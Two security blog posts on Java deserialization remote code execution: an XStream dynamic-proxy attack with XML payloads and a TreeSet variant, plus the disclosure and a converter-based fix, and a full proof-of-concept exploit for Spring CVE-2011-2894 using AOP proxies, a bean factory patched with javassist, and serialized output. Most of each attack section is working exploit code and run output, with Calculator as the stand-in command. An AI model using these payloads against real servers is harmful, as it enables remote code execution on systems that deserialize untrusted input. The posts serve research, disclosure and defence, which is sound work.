Exploit

RCE via XStream object deserialization

When researching SpringMVC RESTful APIs and their XXE vulnerabilities I found that XStream was not vulnerable to XXE because it ignored the <DOCTYPE /> blocks. Curious about it I decided to took a deeper look at XStream and found out that its not just a simple marshalling library as JAXB but a much more powerful serializing library capable of serializing to an XML representation really complex types and not just POJOs. I took a look at the list of XStream converters and found the following interesting one:

As stated by the XStream documentation:

The dynamic proxy itself is not serialized, however the interfaces it implements and the actual InvocationHandler instance are serialized. This allows the proxy to be reconstructed after deserialization.

This allow us to send an XML representation of a dynimic proxy where the InvocationHandler will be XStream serialized. The XML representation will look something like:

 <dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>  

So for those not familiar with a dynamic proxy, lets say that is a way to intercept any call to an interface declared method so that when the method is invoked on the proxified interface we can hook the method call and inject any custom code.

The InvocationHandler will be the responsable to handle the intercepted call. For our exploit we will be using java.beans.EventHandler that does not implement the Serializable interface so we could not use it for our CVE-2011-2894 exploit but that is serializable using XStream.

The simplest scenario is the one where the server is expecting a serialized instance that implements a given interface. Lets say that the server code looks like:

@Controller
 @RequestMapping("/contacts")
 public class ContactController {
     @Autowired
     private ContactRepository contactRepository;

     @RequestMapping( method = RequestMethod.POST )
     @ResponseStatus( HttpStatus.CREATED )
      public final String create( @RequestBody Contact contact ){
         log(”Creating new contact: " + contact.getFirstName());
         contactRepository.save(contact);
         return "OK";
     }
 }

So the idea is to:

  • Find out what Class the XML will be deserialized to (in this case com.company.model.Contact)
  • Create a proxy for that class
  • Intercept/hook any call to any method in the interface
  • Replace the original call with the malicious payload
  • Send the serialized version of the proxy
  • Cross-fingers
  • Profit

So this is what our server application was expecting:

<contact>  
    <id>1</id>
    <firstName>alvaro</firstName>
    <lastName>munoz</lastName>
    <email>[email protected]</email>
</contact>  

And this is what we will send in order to execute any arbitrary payload:

<dynamic-proxy>  
<interface>com.company.model.Contact</interface>  
<handler class="java.beans.EventHandler">  
    <target class="java.lang.ProcessBuilder">
    <command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command>
    </target>
    <action>start</action>
</handler>  
</dynamic-proxy>  

As you can see we are defining a dynamic proxy for the "com.company.model.Contact" interface and intercepting any method call on that interface with a "java.beans.EventHandler" invocation handler. This handler will replace the original method call with a call to "java.lang.ProcessBuilder.start("/Applications/Calculator.app/Contents/MacOS/Calculator")".

Convenient, isn't it?

So as soon as the server code reaches a method call on the proxified interface like the following line on our example controller:

log(”Creating new contact: " + contact.getFirstName());  

The method call will be intercepted and replaced with our payload and the result will be a malicious calculator running on the server :)

Increasing the success likelihood

Finding out what Class the server is expecting can be difficult and we also have the limitation that the class needs to implements an interface. How many applications have you seen using interfaces for POJO DTOs?? A solution for this problem is to serialize an object that contains other objects and that in order to instantiate this object, a call to an interface method has to be made. This is where we will be able to inject our malicious code using an InvocationHandler. The original idea by Jörg Schaible (XStream developer) was proposed during the disclosure to the XStream team and can be found here. This variant consists on serializing a java.util.TreeSet containg different objects implementing the java.lang.Comparable interface so that when the Set is instantiated on the server side, the Comparable interface methods are called to sort the Set. All we have to do now is to add a dynamic proxy intercepting any method call to the Comparable interface and replacing it with our payload:

Set<Comparable> set = new TreeSet<Comparable>();  
set.add("foo");  
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("open","/Applications/Calculator.app"), "start"));  

If we try to serialize it using XStream toXML it will throw a Cast exception and we wont be able to get the serialized version:

Set<Comparable> set = new TreeSet<Comparable>();  
set.add("foo");  
set.add(EventHandler.create(Comparable.class, new ProcessBuilder("/Applications/Calculator.app/Contents/MacOS/Calculator"), "start"));  
String payload = xstream.toXML(set);  
System.out.println(payload);  

Will throw:

Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer  
  at com.sun.proxy.$Proxy4.compareTo(Unknown Source)
  at java.util.TreeMap.put(TreeMap.java:560)
  at java.util.TreeSet.add(TreeSet.java:255)
  at com.pwntester.xstreampoc.Main.main(Main.java:26)
  at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
  at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
  at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
  at java.lang.reflect.Method.invoke(Method.java:601)
  at com.intellij.rt.execution.application.AppMain.main(AppMain.java:120)

That will also happen during the deserialization process but at least we will be able to execute our payload.
Anyway, we will need to craft the payload by hand and we will get something like:

<sorted-set>  
  <string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="java.beans.EventHandler">
      <target class="java.lang.ProcessBuilder">
        <command>
          <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>  

Now, if we deserialize this XML, we will get a Cast exception and our malicious calculator running on the server:

String payload = "<sorted-set>" +  
        "<string>foo</string>" +
        "<dynamic-proxy>" +
        "<interface>java.lang.Comparable</interface>" +
        "<handler class=\"java.beans.EventHandler\">" +
        " <target class=\"java.lang.ProcessBuilder\">" +
        " <command>" +
        " <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>" +
        " </command>" +
        " </target>" +
        " <action>start</action>" +
        "</handler>" +
        "</dynamic-proxy>" +
        "</sorted-set>";

Contact c = (Contact) xstream.fromXML(payload);  

You can find the whole project POC in the XStream POC github repo

Disclosure

I reported this issue to the XStream developers. I was wondering if there was any way to unregister the reflection converter by default. As you can see in this mail thread, there was a solution. Unregistering the converter was not possible but registering a catch-all converter with higher priority than the reflection one should be possible.

As the XStream team argued, disabling it dy default was not an option since it was used by 99% of all projects using XStream:

Would it be possible to not register the reflection converters by default so only users that need them do it? Unfortunately no. It's one of XStream's key features that you actually can marshal nearly any object graph out of the box. If we drop the ReflectionConverter as catch all, we'll break immediately ~99% of all existing projects using XStream.

I was ok with that since at least there was a way to "disable" it manually. But I saw no point on having the reflection converter on by default in SpringOXM when used for building RESTful webservices. RESTful APIs are about representation of entities and I see no point on serializing dynamic proxies to represent those entities. I got in contact with Spring Security Team and let them know the issue. Their response was that XStream should not be use for RESTFul webservices and that they wont disable the converter by default in their SpringOXM wrapper since its not only used by SpringMVC but they agreed in updating the SpringMVC documentation to reflect that XStreamMarshaller should be used at your own risk when used to build RESTful APIs.

What to do about it

Ok, so what can we do as developers to avoid this? We need to:

  • Register a standard priority converter for the beans you are expecting in your application
  • Register a catch-all converter with higher priority than the reflection ones (low priority) and make the converter to return null on its unmarshall method so any object deserialized by the catch-all converter, will throw an exception and interrupt the converter chain before hitting the Reflection converters.

Writing a custom converter is easy and its explaind in detail on the XStream documentation. We will be creating a custom converter for the Contact class in the XStream POC example presented above:

package com.pwntester.xstreampoc;

import com.thoughtworks.xstream.converters.Converter;  
import com.thoughtworks.xstream.converters.MarshallingContext;  
import com.thoughtworks.xstream.converters.UnmarshallingContext;  
import com.thoughtworks.xstream.io.HierarchicalStreamReader;  
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

public class ContactConverter implements Converter {

    public boolean canConvert(Class clazz) {
        return clazz.equals(Contact.class);
    }

    public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
        Contact contact = (Contact) value;
        writer.startNode("name");
        writer.setValue(contact.getName());
        writer.endNode();
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        Contact contact = new Contact();
        reader.moveDown();
        contact.setName(reader.getValue());
        reader.moveUp();
        return contact;
    }

}

For the catch-all converter, we will return null when unmarshalling:

package com.pwntester.xstreampoc;

import com.thoughtworks.xstream.converters.Converter;  
import com.thoughtworks.xstream.converters.MarshallingContext;  
import com.thoughtworks.xstream.converters.UnmarshallingContext;  
import com.thoughtworks.xstream.io.HierarchicalStreamReader;  
import com.thoughtworks.xstream.io.HierarchicalStreamWriter;

public class CatchAllConverter implements Converter {

    public boolean canConvert(Class clazz) {
        return true;
    }

    public void marshal(Object value, HierarchicalStreamWriter writer, MarshallingContext context) {
    }

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
       return null;
    }

}

Ok, now before deserializing our untrusted input we have to register our new converters:

XStream xstream = new XStream(new DomDriver());  
xstream.processAnnotations(Contact.class);  
xstream.registerConverter(new ContactConverter());  
xstream.registerConverter(new CatchAllConverter(), XStream.PRIORITY_VERY_LOW);  

We need to wrap our deserializing call within a try-catch block:

try {  
        Contact expl = (Contact) xstream.fromXML(payload);
} catch (com.thoughtworks.xstream.converters.ConversionException ex) {
    System.out.println("Trying to deserialize null object. Make sure the input is not null and that your custom converters have higher priority than the Catch-All converter");
}

And that's pretty much it, lets run the application again with our malicious payload:

<contact>  
  <name>Alvaro</name>
</contact>  
Trying to deserialize null object. Make sure the input is not null and that your custom converters have higher priority than the Catch-All converter  

Voila!! no calculator this time!

Further reading

Thanks for reading!

CVE-2011-2894: Deserialization Spring RCE

This post is about an old RCE vulnerability in applications deserializing streams from untrusted sources and having Spring on their classpaths. I wrote an exploit for it some time ago to learn about this kind of serializing vulnerabilities and decided to make it public since I recently read an study by WhiteSource Software saying that this vulneravility is in the top 5 vulnerabilities that are more prevalent due to a lack of Open Source component update.

Note that to be vulnerable, you dont only need to have the vulnerable Spring libraries in your classpath, you need to be deserializing an stream from an untrusted source for example using RMI or Spring’s HttpInvoker.

Since I could not find any public exploit for it, I decided to go and write my very own one and learn something in the way. The Spring announcement doesnt give too many details, but fortunately Wouter Coekaerts (@WouterCoekaerts) who deserves all the credit for finding this awesome bug , gave us more details on his own site:

JdkDynamicAopProxy is used internally by the DefaultAopProxyFactory. It is an InvocationHandler , so it can be used with a java.lang.reflect.Proxy to dynamically handle method calls. Which object the proxy should delegate calls to, the target, can be configured in the JdkDynamicAopProxy with a TargetSource. Certain TargetSources can be configured to point to a bean in a BeanFactory, which can contain arbitrary code in the form of bean definitions. All of these objects (Proxy, JdkDynamicAopProxy, AbstractBeanFactoryBasedTargetSource, DefaultListableBeanFactory, AbstractBeanDefinition) are Serializable, and the Proxy can be configured to implement any interface the application might expect. That means an attacker can send them in the place of any object in a stream, and when the receiving application calls any method on the deserialized object, it will trigger the execution of the arbitrary code. A DefaultListableBeanFactory is under normal circumstances never included in a serialized stream. It has a writeReplace method that before it’s being serialized replaces it with a SerializedBeanFactoryReference; a reference to an already existing bean factory. But it’s only the serialization that is prevented (at the attacker’s side, where it’s easily overridden), not the deserialization.

This somehow difficult to understand so lets analyze it while building our exploit:

First of all we need to understand what a Dynamic Proxy is. For the moment, it will be sufficient to say that a proxy can be defined for any Java interface so any calls to the interface can be intercepted and proxified by the proxy. An InvocationHandler has to be configured for the proxy and it will handle all intercepted calls.

Spring's DefaultAopProxyFactory has a static method createAopProxy that returns an InvocationHandler with a given AOP configuration. This configuration is provided as an AdvicedSupport where we can basically choose if we want the factory to return a Dynamic or a CGLIB proxy and set the TargetSource. A TargetSource is used to obtain the current "target" of an AOP invocation, thats it, to point to who is going to really handle the interface method invocation.

We will be using a TargetSource configured with a BeanFactory, so any hooked calls will be handle by a brand new Bean returned by our bean factory. So far the code looks like:

// AbstractBeanFactoryBasedTargetSource
System.out.println("[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory");  
SimpleBeanTargetSource targetSource = new SimpleBeanTargetSource();  
targetSource.setTargetBeanName("exploit");  
targetSource.setBeanFactory(beanFactory);

// JdkDynamicAopProxy (invocationhandler)
System.out.println("[+] Creating the handler and configuring the target source pointing to our malicious bean factory");  
AdvisedSupport config = new AdvisedSupport();  
config.addInterface(Contact.class); // So that the factory returns a JDK dynamic proxy  
config.setTargetSource(targetSource);  
DefaultAopProxyFactory handlerFactory = new DefaultAopProxyFactory();  
InvocationHandler handler = (InvocationHandler) handlerFactory.createAopProxy(config);

// Proxy
System.out.println("[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler");  
Contact proxy = (Contact) Proxy.newProxyInstance(Contact.class.getClassLoader(), new Class<?>[] { Contact.class }, handler);  

beanFactory hasnt been created yet, so all we need to do now is creating a BeanFactory that returns "exploit" beans that when instantiated, will execute any arbitrary command.

First we will set up a bean created with a factory method (instead of using the constructor) that will return a java.lang.Runtime instance when the Factory instantiates the Bean.

GenericBeanDefinition runtime = new GenericBeanDefinition();  
runtime.setBeanClass(Runtime.class);  
runtime.setFactoryMethodName("getRuntime"); // Factory Method needs to be static  

Now, we need to execute exec with our payload as an argument. We cannot use a FactoryMethod for that since it takes no arguments, so we will be using a MethodInvokingFactoryBean. This FactoryBean will return a value which is the result of a static or instance method invocation.
So the idea here is that we will define this FactoryBean as the bean handling our proxy invocations, so when the TargetSource needs a new bean to handle the hooked call it will instantiate our MethodInvokingFactory that will create the new bean by executing our payload. So in the end we will be returning a java.lang.UNIXProcess (returned by the Runtime execution) as the class to handle the proxy call. This will fail since the server will try to cast it to the class it was expecting and normally its not a process ;)

// Exploit bean to be registered in the bean factory as the target source
GenericBeanDefinition payload = new GenericBeanDefinition();  
payload.setBeanClass(MethodInvokingFactoryBean.class);  
payload.setScope("prototype");  
payload.getPropertyValues().add("targetObject", runtime);  
payload.getPropertyValues().add("targetMethod", "exec");  
payload.getPropertyValues().add("arguments", Collections.singletonList("/Applications/Calculator.app/Contents/MacOS/Calculator"));  

Ok, so we only need to create a bean factory and register our payload bean as the "exploit" bean that our TargetSource is going to instantiate. The only problem is that although a DefaultListableBeanFactory is serializable, it contains a writeReplace() method that will replace the factory with a reference when serialized. If the server doesnt know the serialized reference, then our deserialization will fail. In order to bypass this limitiation, we will be modifying the DefaultListableBeanFactory bytecode using javaassist to remove the writeReplace() method (well, actually rename it):

// Get a DefaultListableBeanFactory modified so it has no writeReplace() method
// We cannot load DefaultListableFactory till we are done modyfing it otherwise will get a "attempted duplicate class definition for name" exception
System.out.println("[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method");  
Object instrumentedFactory = null;  
ClassPool pool = ClassPool.getDefault();  
try {  
    pool.appendClassPath(new javassist.LoaderClassPath(BeanDefinition.class.getClassLoader()));
    CtClass instrumentedClass = pool.get("org.springframework.beans.factory.support.DefaultListableBeanFactory");
    // Call setSerialVersionUID before modifying a class to maintain serialization compatability.
    SerialVersionUID.setSerialVersionUID(instrumentedClass);
    CtMethod method = instrumentedClass.getDeclaredMethod("writeReplace");
    //method.insertBefore("{ System.out.println(\"TESTING\"); }");
    method.setName("writeReplaceDisabled");
    Class instrumentedFactoryClass = instrumentedClass.toClass();
    instrumentedFactory = instrumentedFactoryClass.newInstance();
} catch (Exception e) {
    e.printStackTrace();
}

// Modified BeanFactory
DefaultListableBeanFactory beanFactory = (DefaultListableBeanFactory) instrumentedFactory;  
beanFactory.registerBeanDefinition("exploit", payload);  

So far so good, now if we try to serialize the factory we will be getting errors since although a bean factory is Serializable, it contains members that are not serializable :$
Fortunately for us, these members can be nullified without affecting the bean generation. We will be using Java reflection to nullify them:

// Preparing BeanFactory to be serialized
System.out.println("[+] Preparing BeanFactory to be serialized");  
System.out.println("[+] Nullifying non-serializable members");  
try {

    Field constructorArgumentValues = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
    constructorArgumentValues.setAccessible(true);
    constructorArgumentValues.set(payload,null);
    System.out.println("[+] payload BeanDefinition constructorArgumentValues property should be null: " + payload.getConstructorArgumentValues());

    Field methodOverrides = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
    methodOverrides.setAccessible(true);
    methodOverrides.set(payload,null);
    System.out.println("[+] payload BeanDefinition methodOverrides property should be null: " + payload.getMethodOverrides());

    Field constructorArgumentValues2 = AbstractBeanDefinition.class.getDeclaredField("constructorArgumentValues");
    constructorArgumentValues2.setAccessible(true);
    constructorArgumentValues2.set(runtime,null);
    System.out.println("[+] runtime BeanDefinition constructorArgumentValues property should be null: " + runtime.getConstructorArgumentValues());

    Field methodOverrides2 = AbstractBeanDefinition.class.getDeclaredField("methodOverrides");
    methodOverrides2.setAccessible(true);
    methodOverrides2.set(runtime,null);
    System.out.println("[+] runtime BeanDefinition methodOverrides property should be null: " + runtime.getMethodOverrides());

    Field autowireCandidateResolver = DefaultListableBeanFactory.class.getDeclaredField("autowireCandidateResolver");
    autowireCandidateResolver.setAccessible(true);
    autowireCandidateResolver.set(beanFactory,null);
    System.out.println("[+] BeanFactory autowireCandidateResolver property should be null: " + beanFactory.getAutowireCandidateResolver());

} catch(Exception i) {
    i.printStackTrace();
    System.exit(-1);
}

Now, everything is ready to serialize our malicious proxy for a class that the victim server is expecting, in our example it will be the Contact class:

// Now lets serialize the proxy
System.out.println("[+] Serializating malicious proxy");  
try {  
    FileOutputStream fileOut = new FileOutputStream("proxy.ser");
    ObjectOutputStream outStream = new ObjectOutputStream(fileOut);
    outStream.writeObject(proxy);
    outStream.close();
    fileOut.close();
} catch(IOException i) {
    i.printStackTrace();
}
System.out.println("[+] Successfully serialized: " + proxy.getClass().getName());  

Lets run the exploit to generate the serialized version of our malicious proxy:

[+] Getting a DefaultListableBeanFactory modified so it has no writeReplace() method
[+] Creating malicious bean definition programatically
[+] Preparing BeanFactory to be serialized
[+] Nullifying non-serializable members
[+] payload BeanDefinition constructorArgumentValues property should be null: null
[+] payload BeanDefinition methodOverrides property should be null: null
[+] runtime BeanDefinition constructorArgumentValues property should be null: null
[+] runtime BeanDefinition methodOverrides property should be null: null
[+] BeanFactory autowireCandidateResolver property should be null: null
[+] Creating a TargetSource for our handler, all hooked calls will be delivered to our malicious bean provided by our factory
[+] Creating the handler and configuring the target source pointing to our malicious bean factory
[+] Creating a Proxy implementing the server side expected interface (Contact) with our malicious handler
[+] Serializating malicious proxy
[+] Successfully serialized: com.sun.proxy.$Proxy0

To prove it works we will write a dumb server that deserialize our stream and cast it to the Contact class:

package com.company;

import com.company.model.Contact;  
import java.io.IOException;  
import java.io.ObjectInputStream;  
import java.io.FileInputStream;

public class SerializationServer {

    public static void main (String[] args) {

        try {
            FileInputStream fileIn =new FileInputStream("proxy.ser");
            ObjectInputStream in = new ObjectInputStream(fileIn);
            Contact contact = (Contact) in.readObject();
            System.out.println("[+] Running method in deserialized object");
            System.out.println("[+] Payload: " + contact.getName());
            in.close();
            fileIn.close();
           } catch(IOException i) {
            i.printStackTrace();
            System.exit(-1);
        } catch (ClassNotFoundException c) {
            System.out.println("Class not found");
            c.printStackTrace();
            System.exit(-1);
        }

    }
}

Lets run it:

[+] Running method in deserialized object
Exception in thread "main" org.springframework.aop.AopInvocationException: AOP configuration seems to be invalid: tried calling method [public abstract java.lang.String com.company.model.Contact.getName()] on target [[email protected]]; nested exception is java.lang.IllegalArgumentException: object is not an instance of declaring class  
    at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:317)
    at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:196)
    at com.sun.proxy.$Proxy0.getName(Unknown Source)
    at com.company.SerializationServer.main(SerializationServer.java:17)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:601)
    at com.intellij.rt.execution.application.AppMain.main(AppMain.java:120)
Caused by: java.lang.IllegalArgumentException: object is not an instance of declaring class  
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:601)
    at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:309)
    ... 8 more

As we were expecting the server crashed since our proxy returns a java.lang.UNIXProcess and the server was expecting a Contact, but it will be already too late since our malicious calcluator is running on the background:

Voila!!

You can find the full exploit code in github.